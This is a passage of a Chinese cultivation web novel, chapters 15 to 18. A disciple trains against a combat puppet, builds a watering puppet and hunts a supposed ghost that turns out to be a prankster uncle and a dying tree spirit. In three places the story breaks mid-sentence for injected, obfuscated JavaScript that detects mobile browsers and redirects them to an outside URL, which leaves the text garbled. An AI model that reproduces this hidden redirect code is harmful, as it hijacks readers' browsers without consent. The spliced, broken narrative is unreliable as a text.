谢槿转头跑进枫叶林里,没一会儿便抱着一堆干草回来,在闻折柳眼皮下扎了一个草人。 再扣上一顶斗笠,往灵田里一插,两手一拍—— “成了!” 有了新玩意,小黄鸟果真不扑腾了,闻折柳一个松手,它便飞到了草人的胳膊上啄了啄。 闻折柳挑眉,“这是什么?” 谢槿看着新鲜出炉的草人,心下自豪,煞有其事地说:“师父,这是人间的驱鸟神器。” 这回沉默的人换成了闻折柳,他看向谢槿的眼神,仿佛正写着‘你这不是很会种地吗’。 “神器?什么神器?” 玄意的脑袋从枫叶林里冒出来,眼巴巴看着二人,不知他最近干了什么,脑袋开了花,头上绑着纱布,一双眼睛还是乌亮乌亮的。 他这突然冒出来,给谢槿吓了一跳,拍了拍心口,才行礼喊人,“玄意师叔怎么来了?” 玄意环顾四周,最后狐疑的眼神落到闻折柳身上,“我听到你们在聊神器,你真抢到了神器?在清月峰抢的还是虚谷师兄给的?” 闻折柳不想搭理他,越过他走到灵田里,还记得只踩田地里的畦径,一把抓走了对草人莫名着迷的小黄鸟,跟谢槿说:“明日辰时到红叶林,若迟到我可就不管了。” 灵草才刚种下,承诺便要做到,这果然很闻折柳! 谢槿心中暗喜,忙道:“徒儿定不会叫师父失望!” 没人理会的玄意也很着急,就要踏入灵田,谢槿立时抬手制止他,“师叔!脚下留情!” 玄意低头一看,差点踩到一株小苗,他向来大大咧咧,没将这小苗当回事,却不料闻折柳突然回头看过来,那眼神冷飕飕的。 玄意猛地一抖,退后两步。 闻折柳这才走出灵田,随口问:“你来做什么?” 谢槿好奇归好奇,更在意自己刚种下的灵草,撸起袖子拿着花锄这里看看,那里修修。 玄意本就是来找闻折柳的,闻折柳一走,他就跟上去,愤愤道:“我当然是来找你一起干架的啊!闻折柳,你是不知道,那天你打劫完清月峰,我琢磨着你行我也行,半夜带上麻袋去的,结果被虚谷师兄撞了个正着,你看见我脑袋上的伤没有?” 闻折柳看向他脑门上包扎的纱布,“虚谷师兄打的?” 玄意摇头,“不是,我被吓一跳,摔下山撞的。” 谢槿无意听见,抿唇忍笑。 闻折柳一言难尽,“没空,不打,滚出赤月峰。” 玄意一脸痛心,“你可是我最看好的打手啊!你打陈明礼一顿是打,多打一顿也是打!” 闻折柳被他一再纠缠也烦了,“你到底要干什么?虚谷师兄没把扣你那份东西还回去?” “还了,可我气不过!” 玄意毫无峰主该有的庄重,气鼓鼓说:“他敢当面欺负我!而且我说过,我的玄月峰不要排到最后,我还要改名!闻折柳,你就说你见过黑色的月亮吗?这名字克我!要不是玄月峰这破名字,兴许我的剑法早就小成了,早就成了揽月宗剑仙!” 谢槿眨了眨眼,偷偷看去。 闻折柳一眼瞥来。 谢槿咬紧下唇低下头,怕自己会忍不住笑出声。 闻折柳回过头,态度依然十分无情,“没空,不去。你是想自己下山,还是被扔下山?” 玄意立马改口,“那我要学三阳剑法,教我……啊!” 闻折柳衣袖轻挥,玄意口中未尽的话语陡然变成一声惊呼,随着他身影飞到了天边去。 谢槿眼睁睁看着,睁大眼睛。 闻折柳扔完玄意便回头看他,挑起眉梢。谢槿即刻站直起来,挤出微笑,一脸温顺,“师父放心,明日辰时,徒儿一定不会迟到。” 闻折柳哼笑一声,御剑离开。 谢槿轻轻吐出一口气,还是忍不住勾唇笑起来,又回头打量起灵田。这片灵田位于大殿之外有些距离,附近还是有不少小动物的,他正好在学阵,可以布阵防备动物。 翌日一早,谢槿赶在辰时前就到了红叶林,闻折柳带着小黄鸟踩点来时,他都在红叶林里打坐一个周天了,见到人便起身行礼。 饶是谢槿往日再冷静,今日有闻折柳这样的化神期真人陪练,也有些藏不住眼底的兴奋。 “师父,要开始了吗?” 闻折柳抬手一挥,一具足足有两人高的人形铁疙瘩便出现在谢槿面前,谢槿差点被吓退。 “师父,这是?” 闻折柳往石头上一趟,放下小黄鸟叫它自己晒太阳,便取出了玉瓶,一边品酒一边观战。 “你的陪练傀儡。” 谢槿大失所望,“不是师父亲自出手陪练吗?” 闻折柳沐浴着清晨日光,懒洋洋地抬眼看来,什么也不必多说,三个字就能镇住谢槿。 “你确定?” 想起昨天刚被扔出山的玄意师叔,谢槿迟疑了下,果断选择陪练傀儡,“师父身为峰主,日理万机,徒儿不敢给师父平添麻烦。” 寒霜酒液打湿了闻折柳唇角,染上薄红,他勾唇一笑,眉眼间透出几分傲气,“那就开始,不必留手,用尽你的所有手段和灵力,还没有触碰到极限,又谈何冲破极限?” 谢槿若有所感,拱手应是,指尖便夹起一张灵符,见陪练傀儡一动,他便运转起身法。 踏雪寻梅,不留踪迹。 引水符、御水决、引火符、控火术,再加上引雷符,与新近学的困阵、迷踪阵,一整套下来,耗尽了谢槿的灵力,也败得很爽快。 他气喘吁吁地躺在红叶地上,耳边是傀儡的铁拳。 红叶翻飞,露出地上小坑。 这傀儡陪练点到为止,并不伤人,很快便站回去。 谢槿刚才用尽全力的刮痧那一顿,压根没能在这傀儡那一身锃亮的铁甲之上留下半点痕迹。 缓了一阵,谢槿从地上爬起来看向闻折柳,他不知道什么时候又翻出一本书卷,还是一脸不耐烦地看着,似乎并没有在观察战局。 不过师父没有说话,就是还行。 谢槿便吞了一枚回灵丹,恢复了灵力又抬手掐诀,数张引雷符飞向傀儡,化为灼灼电光。 “再来!” 闻折柳看书间隙瞥了那边一眼,很快又移开眼,慢悠悠翻了一页书,勾唇饮下一口灵酒。 这样的陪练,一直持续了半个月,谢槿每日耗光灵气,摔得满身是伤,也从不曾喊停。 他不喊停,傀儡陪练便继续。 不过短短半月,足够谢槿将所学的术法融会贯通,也领会到闻折柳那一句不触碰极限如何突破极限的真言,每日到了极限之时,他就能找出自己的不少弱点,从解决这些问题的过程中,修为也在慢慢提升。 无名心法第三重稳稳当当地修炼下去,此外,谢槿又学了几种下品灵符和初级法术,虽然很忙碌,每夜在给自己上药时都会疼得龇牙咧嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105394|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可每日的进步也叫他极欣慰。 折纸传书的术法谢槿学会了,早早将给大师兄回信送出去,且又收到了大师兄的回信。 萧珩所学乃是剑法,也并非掌门亲自传授,而是主峰长老传授,昨日已突破练气六层。 谢槿除了少许羡慕,便再无其他心情了,主要是累的,回信恭喜师兄,便一头扎进修炼。 他不似萧珩那样有天生剑骨,身体素质远远比不上悟性,虽然学术法时很顺利,可体质还是拖了后腿,他也需要花费更多的精力,才能早些在三月内修炼到练气八层。 这半月来,灵田的灵草长势也很不错,已经有一尺高了。谢槿每日早晚修炼之余,会去闻折柳所指的山腰灵泉取灵泉水浇灌灵草,顺道练一练踏雪寻梅这套提速身法。 那陪练傀儡强得可怕,谢槿终于在半月后才拆了它一条胳膊,还想跟闻折柳邀功,结果被闻折柳一句自己拆的自己装回去给堵回去,浪费了半个白日才装上傀儡胳膊。 等装好时天都黑了,谢槿才发觉一边修炼一边种植灵草真的很麻烦,于是趁闻折柳早早带着小黄鸟回了炎阳殿,他冲立在前殿待机的陪练傀儡勾了勾手指,拽进房中。 翌日一早,闻折柳带小黄鸟到红叶林时,见到的便是一个矮了一截的陪练傀儡和它旁边的两头身小傀儡。谢槿发誓,他绝对看到闻折柳眉头抖了一下,眼里全是震惊。 “怎么回事?” 那肯定不能是大傀儡生了小傀儡,谢槿一本正经地回道:“师父,徒儿觉得每日早晚都要去浇灌灵田实在是太浪费修炼时间了,所以徒儿昨夜拆了傀儡,研究了一番傀儡构造,做出了这个小傀儡。徒儿还修了一条灵泉直通灵田的管道,配合灵田的法阵储存剩余灵泉,再让小傀儡每日黄昏去启动法阵,就可以完成全自动浇灌!” 这小傀儡长得就是两个圆的雪人模样,装上了两条机械臂,等刻了术法,就能动起来。 谢槿很满意,语气也难掩骄傲。 闻折柳眼神迷茫,“所以?” 谢槿笑道:“所以这个小傀儡就是徒儿的种田小助手。徒儿还是不够聪明,若是再研究研究,兴许就能炼制出一个全自动赤月峰小管家,到时,师父就可以躺着享受了。” 虽然闻折柳本就是躺着享受。 闻折柳对他说的那些不置可否,只指向陪练傀儡。 “那它为什么短了一截?” 谢槿顿了下,垂头交待道:“徒儿装了好久,都没把他另一条腿的小腿装回去,干脆把另一条腿的也卸了,这样就不会高低脚了。” 闻折柳咬牙,“谢槿……” 谢槿麻溜认错,“师父,我错了。” 闻折柳闭了闭眼,伸出手来。 “腿呢?” 谢槿忙从中指上的碧玉戒中取出两条铁腿,还给师父。 等闻折柳一个响指将陪练傀儡恢复原样,谢槿又开始每日累成狗的修炼,闻折柳今天大抵是不大高兴的,训到他躺平了才放人。 不过闻折柳由始至终没提种田小助手,谢槿就当他是默许了小傀儡的存在,刻上法术,忍痛放了中品灵石激活小傀儡,歇了一阵,带上飘在身后的小傀儡熟悉路程。 一套法阵刻完,小傀儡脑袋上特意预留的两个空洞眼睛便亮起来,里面发光的是灵石。 天已经黑透了,谢槿一直记得刚上山时闻折柳说过的山上有很多能吃他的东西,从不在夜里出门,见环绕灵田的迷雾阵外一片漆黑,他便拍拍小傀儡脑袋,离开灵田。 入夜后的红叶林伸手不见五指,却能偶尔见到一片红。 谢槿烧了一张引火符照明,带着身后的小傀儡往山上走,白日里漫山遍野的红叶林在黑暗中仿佛没有尽头,快走到上山的石阶路时,谢槿发觉红叶林中隐隐闪过白光。 他定睛看去,只看到那一团白光的尾巴,随着晚风吹过红叶林,被落下的红叶遮住了。 “不会真有东西吧?” 谢槿低声说着,话音刚落,林中呼呼的风声中也传来一句轻轻的,“不会真有东西吧?” 那嗓音低低哑哑的,听不出来是男是女,甚至不像是人的语调,风中依稀传来诡异笑声。 谢槿:“!!!” 他手一抖,直接运起踏雪寻梅,飞奔向山上炎阳殿。 “师父,赤月峰真的有鬼啊!” 16. 第十六章 这是谢槿除了在上山那一天后第一次踏足炎阳殿,路他还是记得的,不过没敢跑去后院温泉,只敢在炎阳殿紧闭的大门前求见。 “师父,山上闹鬼了!” 他心跳还是很快,气息也还没平稳下来,往日的从容体面已经没了大半,神情难掩慌张。 炎阳殿内漆黑一片,师父晚上究竟在不在山上他不知道,可直觉告诉他,师父这里安全,就算有什么妖魔鬼怪也不敢得罪师父。 若是师父不在,今晚就凑合着在门前待到天亮吧。 等了片刻,炎阳殿中毫无动静。 谢槿心中越发紧张,回头看向身后,今夜无月,山上雾气重,在黑暗中翻涌如浪,黑洞洞的。他心跳又快了几分,探头走上殿前月台,一边小声试探一边靠近大门。 “师父,你不在吗?” 他越说越小声,猫着腰走上最后一个台阶,就在这时,一束光啪地亮起来,透过殿前窗纸打在他身上,在地上映出僵硬的身影。 吱呀的声响,极轻,又极近。 很快,一道黑影笼罩住谢槿。 谢槿慢慢抬起头,闻折柳就站在门前,艳丽的红袍披在肩上,内里是一件贴身的素白云月纹长衫,长卷发披散下来,一双浅褐色眼眸还有些许朦胧,正目光幽幽看着他。 “谢槿……” 闻折柳嗓音微哑,抬手按了按额角,深吸口气。 “又有什么事?” 没料到师父晚上真的在。谢槿慌乱心神一定,乖巧地站好了,“师父,徒儿方才撞鬼了。” 闻折柳好像没听清楚,皱着眉头看向他,“什么?” 其实见到闻折柳时,谢槿就已经莫名其妙安心了,可半夜吵醒师父,他总得老实交待。 “方才徒儿从灵田回来,路上撞到鬼了,徒儿一着急,就闯入炎阳殿寻师父救命来了。” 没想到师父居然睡这么早,这才刚刚戌时,原来化神期真人的作息也跟老年人一样吗? 不对! 谢槿很快想起来,先前大家都说师父身上有伤…… 他又悄悄看了闻折柳一眼,闻折柳身量高大挺拔,看去很是可靠,脸色也好好的,实在是看不出来哪里有伤病,他还天天喝酒呢! 化神真人都这样养病吗? 不管闻折柳知不知道谢槿心里嘀咕什么,闻折柳听完他的话,看他的眼神也很不可思议。 “你一个修士,居然怕鬼?” 谢槿猛地回神,又是一愣,对啊,他好像不该怕鬼? 可谢槿很快又找到了理由,“徒儿一个多月前,还是寻常读书人,而且师父不是说了,以后有事不能隐瞒您。徒儿见到山上闹鬼了,第一时间便是来向师父您禀报。” 闻折柳不以为意打个了哈欠,“你胆子怎么这么小?” 谢槿察觉他话中的嫌弃,低声反驳道:“徒儿从前心疾缠身十余年,最忌惊惧,医嘱都说要徒儿心平气和,又是头一回撞到真鬼……” 闻折柳顿了顿,挑眉看他。 “那你怎么不早说?” 见他还真回应了这话,谢槿反而不好意思了,“徒儿服过奉剑师伯给的灵丹,又经过洗筋伐髓,身体已然无碍。师父说的对,徒儿还是太胆小了,徒儿会尽快习惯的。” 闻折柳见他自己又把话圆了回去,眸光闪了闪,自上往下打量起他,“可你身上并无阴气,若你真见过鬼魂,身上定会有阴气残留,再者赤月峰有结界,揽月宗更有护宗大阵,寻常鬼魂是很难混入宗门的。” 谢槿道:“可师父不是说山上有很多东西能吃我吗?” 闻折柳看他脸色发白,眼底闪过一丝纠结,闪躲着别开眼道:“随口吓你的,这也信?” 谢槿:“……” 他磨了磨牙,目光幽幽看着闻折柳,回归正题,“也就是说,要么没有鬼,要么鬼很强?” 闻折柳见他没生气,才回头看向他,轻咳一声问:“你在哪儿看见的,怎么没吃了你?” 师父还是嘴毒…… 谢槿也只能老实回答:“徒儿没看清楚,只见到一道白光,而且,它还会学徒儿说话。” 闻折柳思索了下,走出殿中。 “带路。” 谢槿还以为师父不会管了,见状顿时有些感动,快走几步追上师父,领着他往山下走去。 闻折柳走得快,谢槿要运起身法才能跟上,不一会儿,便到了谢槿方才听到鬼语的林子。 被他落下的两头身傀儡小助手还蹲在林子里,应当是找不到回去的路了,一下下撞着枫树,刻意雕出眼睛的位置透着灵石微光。 闻折柳看向傀儡主人谢槿。 谢槿老脸一红,抓住小傀儡两条机械臂将它拎起来调转方向,小傀儡便朝着山上飘去了。 “新刻的法阵,还不熟练。” 闻折柳对这个不太聪明的小傀儡俨然没什么兴趣,打眼看向林中,抬脚走向林子深处。 谢槿亦步亦趋跟上。 一路走到灵田,二人都没见到他说的白光和鬼语。 闻折柳环顾四周,也不说话。 谢槿慢慢低头,“可是徒儿方才真的听得很清楚……” 但此刻红叶林中静幽幽的,只有风吹过的沙沙落叶声,哪有他说的会学人说话的鬼魂? 不过细听之下,灵田里倒是有些细微声响。谢槿看了闻折柳一眼,紧张地走到灵田前。 为了防止山中动物闯入灵田,他不止布置了迷雾阵,还做了一圈竹篱笆。眼下谢槿轻轻推开篱笆门,里面的声响就变得清晰了。 也不是谢槿说的鬼语,而是小鸟啾啾叫的声音。 谢槿突然有种不妙的预感,一把推开篱笆门。灵田里没有灯,谢槿手里却提了一盏灯笼,光照进去,扑腾着翅膀在灵田里叼着灵草叶的小黄鸟再无处遁形,僵在半空。 再看灵田那几块仿佛积霜覆雪一般水灵灵的细长灵草,已经变得光秃秃的,只剩草茎。 火光中,小黄鸟浑身僵硬。 谢槿大惊失色,“我的灵草!” 身后闻折柳看到这一幕,眉心也猛地跳了一下,抬手摄来小黄鸟。都被攥进手心了,小黄鸟第一反应是麻溜地将嘴里叼着的细长白叶子嚼吧嚼吧吞进了肚子里,胸前毛球似的绒毛上还沾着湿润的灵草屑。 谢槿急忙跑进灵田里,提着灯笼检查其他灵草。 可能是因为他刚走了没多久,三块地里的灵草才被啃了半块……这可是足足半块地啊! 养了半个月才将这些灵草养到一尺长的谢槿心疼极了,起身看向小黄鸟,和它的主人。 也不说话,就这么盯着他们。 “师父……” 闻折柳攥紧了怀里的小鸟,叫小黄鸟气得调头啄他手背,但闻折柳一个眼神扫去,小黄鸟便耷拉脑袋看向了别处,像是在心虚。 鸟可以装傻,鸟主人却不能。 在谢槿幽怨的目光注视下,闻折柳缓缓说道:“你种的寒露草,原本就是禽类灵宠最喜欢的食物之一,这几日接近长成,灵气日渐浓郁,它才会忍不住跑进灵田里偷吃。” 原来这叫寒露草。 谢槿也没有很生气,好奇道:“这寒露草只是灵宠的食物吗?除了这个就没别的用了?” 闻折柳说:“能泡茶喝,消减疲惫,补充灵力。” 谢槿恍然大悟,提着灯走回来,看向闻折柳手里蔫巴巴的小黄鸟道:“灵草没了就没了,师父不必怪罪小黄鸟。不过灵草还没长成,小黄鸟饿了可以先吃我的灵米,等长成了我再收割下来送给你怎么样?” 这话一出,原本好像半死不活的小黄鸟一下子精神抖擞,冲谢槿歪了歪头,叽了一声。 谢槿便又笑起来,“那这次就算了,别再偷吃了。” 提灯少年容颜只是清秀,笑起来桃花眼却极漂亮,一身烈焰红衣也掩不住眼底的清冷温柔。 闻折柳眸光微顿,总觉感觉这面色偏黄总养不白的少年绝对不是他眼前所见的平凡普通。 又好像……似曾相识。 谢槿处理好跟灵宠大人的关系,便抬头看向闻折柳,不经意撞进他那双浅褐色眼眸,唇边的笑容下意识收敛起来,“师父,看来鬼不在灵田,不过,这会不会是它……” 他想到什么,迟疑地指向闻折柳手里的小黄鸟,小黄鸟正高高兴兴捡着胸毛上的草屑吃。 闻折柳别开眼道:“你觉得,它能学你说话?” 谢槿还想问他呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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住在山上那么久了,谢槿还不知道小黄鸟的名字。 闻折柳很快回答,“黄鸟。” 谢槿一愣,“就这么叫吗?” “随便叫。”闻折柳没好气道:“它愿意应你就行。” 谢槿觉得他要是随便叫,保不准会被这只脾气不小的灵宠啄,虽然小灵宠萌萌的,跟师父不太像,但脾气也是真的物似主人型。 说话间,二人回到了前殿。 闻折柳抬脚往后殿走去,谢槿却还得先放下灯笼,将前殿大门关上,才急匆匆追上去。 闻折柳脚下不等人,自顾自说道:“除了正心阁和凤息殿,你喜欢哪儿自己挑个地方住。” 正心阁便是后殿演武场尽头那座正中主殿,凤息殿则是与炎阳殿隔着整个演武场遥遥相对的另一座侧殿,往日都是大门紧闭的。 谢槿有些好奇,“为什么正心阁和凤息殿不能进?” 闻折柳只管往自己的炎阳殿走,边走边打着哈欠说:“正心阁中蕴藏着一道奉剑师兄留下的合体期剑气,可震慑邪祟,也可助剑道修士领悟剑意。你还不是剑修,这么点修为进去,怕是要被剑气削成肉片。” 谢槿抖了抖,默默抱住自己。 师父说得也太吓人了。 闻折柳手上灵光一闪,那熟悉的白玉酒瓶便又出现在他手中,他饮了一口,才慢悠悠地接着说:“凤息殿乃是奉剑师兄的住处。” 谢槿点头,“原来奉剑师伯的洞府也在赤月峰上。” “他是峰主。” 闻折柳这话,叫谢槿不由一愣,“那师父您……” 一峰还有二主? “副峰主。” 闻折柳回头看他,“如何,后悔拜本座为师了?” 谢槿呆滞了一瞬,突然感觉脊梁骨硬起来了,奉剑真人才是赤月峰峰主,而他是奉剑真人看中的赤月峰弟子,身份水涨船高啊! 这下就算他把赤月峰炸了,师父都不敢赶他走了吧? 17. 第十七章 察觉闻折柳眼神似是不满,谢槿回过神飞快摇头。 “徒儿已经拜师父为师,那就是师父的弟子了。” 话是这么说,可他的心情还真有点微妙,原来奉剑师伯才是峰主,难怪他刚上山时师父会说既然他是奉剑师伯捡回来的就能留在山上,那要是他当初先拜奉剑真人为师…… 后悔是最没用的东西。 谢槿半是真心半是哄人,“徒儿是赤月峰忘忧真人的弟子,今日是,日后也是,永远都是!” 闻折柳斜睨他一眼,撇嘴一笑,转头又饮了一口酒,不置与否,一抬脚身影便消失在原地。 虽然早就知道师父总会冷不丁消失,谢槿现在还是不习惯,师父一走,这偌大的演武场上空荡荡的,那种不安的感觉又回来了。 谢槿攥紧手里的灯笼杆,快走几步跑向炎阳殿。 师父没说炎阳殿不能住,那就是能住,正心阁他可不敢闯,凤息殿又没有人,后殿确实还有一些空旷的院落房子,可哪里比得上闻折柳身边安全,这还需要犹豫吗? 这次再到炎阳殿门前,正殿灯火已经灭了,谢槿也不知道师父回来了没有,朝着漆黑殿中躬身一礼,便提着灯笼进了右侧的小院,院上门匾刻着几字,名唤撷芳院。 都说九峰新立,赤月峰是新分出来不到半年的,山上只有最初的基本建筑,这撷芳院中从来没有人住过,但房中布置也算齐整。 谢槿进院转了一圈,花厅一进门就有一座青玉香炉,地板桌面都干干净净的,不染纤尘。卧房那边空间不算太大,也是五脏俱全,还有一张可容几人翻滚的罗汉床。 已经一个多月没睡过床的谢槿一看到床就走不动了,干脆放下灯笼,直接躺床上睡了。 十多年的生活习惯还是战胜了修仙的决心,让谢槿一沾床就睡,再醒来天已经大亮了。 谢槿起来收拾了下,先去前殿打坐调息一周天。 他算着时间的,刚运气一个小周天,闻折柳便来了,谢槿起身拜见师父,便一同去了红叶林,今日陪练的还是那尊两米高的傀儡。 谢槿有段时间没再下山,之前取的点心也一天天地让小黄鸟吃完了。今日小黄鸟一直盯着他,谢槿耗尽灵力停下调息时,它甚至主动飞过来,门神似的蹲他肩上。 今日谢槿依然被闻折柳的傀儡操练得一点精力都没能剩下来,闻折柳才带着小黄鸟走了。 走前小黄鸟还颇为不舍。 谢槿想说要不就让它留下吧,闻折柳就先来了一句,“它等着你灵田里长成的寒露草呢。” 谢槿识趣闭嘴了。 闻折柳还是一副怎么都睡不够的模样,打着哈欠走前只留下一句,“今晚戌时到灵田。” 谢槿当然知道这是要抓鬼了,一个激灵,感觉身上又充满了力气,爬起来跑回了撷芳院。 他怕鬼。 拖着两条仿佛灌了铅的腿回到撷芳院后,谢槿才放心盘腿调息,恢复力气便翻出伤药开始上药。陪练傀儡虽说总是点到为止,可他闪避时总会免不得磕着碰着,前两天后腰磕到碎石落下的淤青还没好,今天手肘和小腿膝盖又多了好几处擦伤。 伤药效用极好,敷上药就能止疼,普通擦伤处理干净了上药,第二天就能好得差不多,再过两天掉了血痂,连疤痕都不会留下。 谢槿给膝盖和手肘都上了药包起来,才褪去上衣给自己后腰擦药,偏偏淤青位置在后腰,他得扭过身子才看得见,那天磕到的碎石锋利,现在血痂周边还又青又肿的。 昨天的药效过去了,沾上药膏的木签刚碰到那片淤青上的血痂,谢槿就疼得倒抽冷气。 偏在这时,半开的窗户传来笃笃两声,谢槿赶紧捞起衣襟,偏头一看,窗外果然传来扑腾翅膀的动静,紧跟着,一个嫩黄色的小毛团就从窗缝间钻进来,蹲上窗台。 “叽叽!” 谢槿真是一点都不意外,他当然是欢迎小黄鸟来找他玩的,可真相是小黄鸟来找他就是为了他昨晚的承诺,为了灵田里的寒露草! 谢槿不由苦笑,“你来了,早上我去看过,今日灵草还没有长成,所以我这里只有灵……” 他正要拿出储物戒里的灵米,这是前两回在福德堂领的,他连锅都没有,一直放着没吃。 可他这一动,方才挂到肩头上的衣襟便滑落手肘,少年人清瘦玉白的身条再无半点遮掩。 也不知小黄鸟怎么回事,眼看谢槿拿出了那一袋子灵米,它却受惊一般叽叽叫了两声,居然是扑腾着翅膀转头飞出窗外。谢槿一愣,捞起衣襟起身走到窗台一看,小黄鸟已经飞出院门,朝正殿方向去了。 为什么跑这么快? 难道师父来催鸟了? 谢槿是真看不懂,转念一想,一会儿戌时还得再见,他便也不多想了,关上窗继续上药。 上好药休息了半个时辰,算算戌时已至,谢槿便提起灯笼出了门,正好碰见闻折柳出门。 谢槿殷勤喊人,“师父。” 闻折柳点了下头,就跟肩上的小黄鸟同步齐刷刷别开眼去,走下月台,倒是他肩上的小黄鸟又扭过脑袋往后看了一眼。谢槿正好跟上来,冲它招了招手,小黄鸟接着脑袋一扭,一头扎到了闻折柳怀里去。 谢槿眨了眨眼,怪里怪气的。 他什么时候得罪鸟了吗? 可眼下捉鬼要紧,有师父在,谢槿不好多问,赶紧追上去,生怕自己落单了会撞到鬼。 师徒二人沿着石阶路往山下走去,快到灵田时,闻折柳才说出今晚第一句话,“灯灭了。” 谢槿听话把灯笼吹灭了。 今夜月光还算明亮,入了林子却看不太清,谢槿只能寸步不离地跟着闻折柳。谢槿是察觉不到什么死气的,只知道闻折柳走去的方向,的确是他每日都会过去的灵田。 夜里风大,红叶不时飘落,铺了一地鲜艳赤红。 到了灵田附近,谢槿一眼就看到停在林子里的两头身傀儡,不过它的眼睛已经不亮了。 那是谢槿折腾出来的东西,闻折柳自然是回头找谢槿,谢槿便壮着胆子上前,掀开小傀儡的天灵盖一看,发现灵石已经没了,只剩下一抔灰烬。他往日除了布阵时很少用灵石,以为是灵石用完了,又掏了两颗出去,塞到机枢中才盖上天灵盖。 “灵石用完了,所以还没来得及回去就停下了。” 不过谢槿可以确定,灵田空气湿度足够,小傀儡是启动法阵浇灌灵田后回山途中死机的。 估计是他今早实在是舍不得浪费中品灵石,又拆出来换上去的那两块下品灵石灵气不够。 谢槿拍了拍小傀儡脑门,小傀儡眼睛才又亮起来,按照原定的路线,往石阶路飘过去。 闻折柳全程看着,沉默不语。 谢槿耳尖有些红,低着头想退回他身后,闻折柳眸光倏然沉下来,周身气息锋锐如剑。 “出来!” 谢槿心神一震,僵在原地。 上回师父这样,是发现了玄意师叔偷跑上山,不过这次,他能感觉到的剑气弱了许多。 事实上,剑气并未削弱,而是朝着他身后去了。 红叶林中遍地红叶被震起,又如雨般纷纷落下,灵田周边萦绕的雾气也几乎瞬间散去了。 黑暗中传来一声闷哼,而后一道黑影从灵田里滚出来,没等人看清楚,他便大叫起来—— “出来了出来了!闻折柳,你这么凶干什么!” 听这声音,是玄意师叔? 谢槿转身看去,果然是玄意,脑袋上戴着个野草编成的花环,脸颊两侧还擦了黑泥,可他此刻捂着屁股抽气的样子却相当不雅,意识到剑气伤了他哪里,谢槿抿紧唇。 不能笑…… 他低下头,嘴角忍笑到抽搐,到底还是没能忍住。 “噗嗤。” 闻折柳看见玄意就烦,“就是你在山上装神弄鬼?” 谢槿轻咳一声,正经起来,一脸谴责地看着玄意。 居然装鬼吓人,死刑! 玄意蹦跶好一会儿才缓过气,摘下花环砸在地上,怒道:“什么装神弄鬼,闻折柳,我抓到你的软肋了!昨天在月诸峰剑气阁一看剑傀少了一只,我就猜到是你偷了,现在人赃俱获,你还有什么要狡辩的!” 他说着指向二人身后,听见身后有砰砰声响,谢槿回头看去,就见他的两头身种田小傀儡就在身后数丈外,又撞上了红枫树。 闻折柳也看到了,又看向谢槿。 谢槿:…… 看来该做个会拐弯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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玄意也不装了,爬起来拍了拍身上的碎叶泥土,撇嘴道:“不知道你在说什么,不就是拿了奉剑师兄的令牌,有什么了不起?我不告状就是了,喏,还你那傀儡的灵石!” 他说着扔过来三块灵石,不同于谢槿用于小傀儡身上的下品灵石,这灵石灵气浓度极高。 是极品灵石! 闻折柳没跟他客气,拂袖扔到谢槿怀里,还是那句话,“谁让你在我赤月峰装鬼吓他的?” 谢槿一双桃花眼登时亮起来,小心珍重地收起两块极品灵石,站在闻折柳身后跟着点头。 不错! 他又没招惹玄意师叔,玄意师叔为何要吓唬他? 玄意听闻折柳一再提及装神弄鬼,也是一脸懵,“什么?我不就是今晚拆你一个傀儡吗?” 闻折柳轻抬下颌,“昨夜你没来?” 玄意听懂了什么,警觉地往后退去,指着闻折柳和谢槿说:“你们师徒二人不会是要污蔑我吧?我告诉你们啊,就算你们供出我昨晚偷闯剑气阁,我也不会承认在你们赤月峰干了什么神啊鬼啊的事的,就算掌门护着你们,我也还有师兄师姐!” 难道不是他? 谢槿看向闻折柳,心下狐疑。 闻折柳没说话,面无表情朝玄意走去,玄意吓得连忙躲到枫树后,声音也开始颤抖了。 “你要干什么!我警告你不要过来啊!守直师兄宣淮师姐救命!闻折柳要屈打成招了!” 谢槿也有些担心,师父不会真要打死师叔吧? 然而,在闻折柳靠近时,玄意都缩到枫树后了,闻折柳却一脚将他踢开来,低头看去。 “这是什么?” 玄意扑倒在红叶堆上,闻声僵了僵,麻溜地爬起来看去,谢槿见状也凑过去看了一眼。 枫树树根下有一团被红叶遮掩的东西,在月光下微微闪烁着白光,远远看着像一颗蛋。 玄意咦了一声,凑过去掀开枫叶,才发觉是一个鸡蛋大小的光团,“还以为是个蛋呢。” 谢槿嘴角抽了抽,看向玄意的眼神也很古怪。 “刚刚,只有师叔蹲在这里。” 18. 第十八章 玄意当场跳起来,飞快摆手。 “不是我不是我!我是男人!是下不了蛋的!” 谢槿:“……” 他也就是想想,当然知道那不是玄意下的蛋,可玄意这么认真,他真的很难忍住不笑。 闻折柳沉默一瞬,打破了这片诡异的沉默,“这树灵不是我赤月峰之物,是你带来的?” “树灵?” 玄意眨巴眼睛,又凑了过来打量起那光团,“还真是树灵啊,看起来好弱,快死掉了吧?” 谢槿有点懵,“什么是树灵?” 玄意很乐意跟他解释,蹲回去戳了戳那团好像在呼吸一般闪烁的微弱光团,“就是一种草木精灵,天生地养的小精灵,不过这种东西一般活不长,比人的寿命还要短数倍,一旦离开本体,或是本体枯萎、凋零它们就更活不长了。这哪儿来的?” 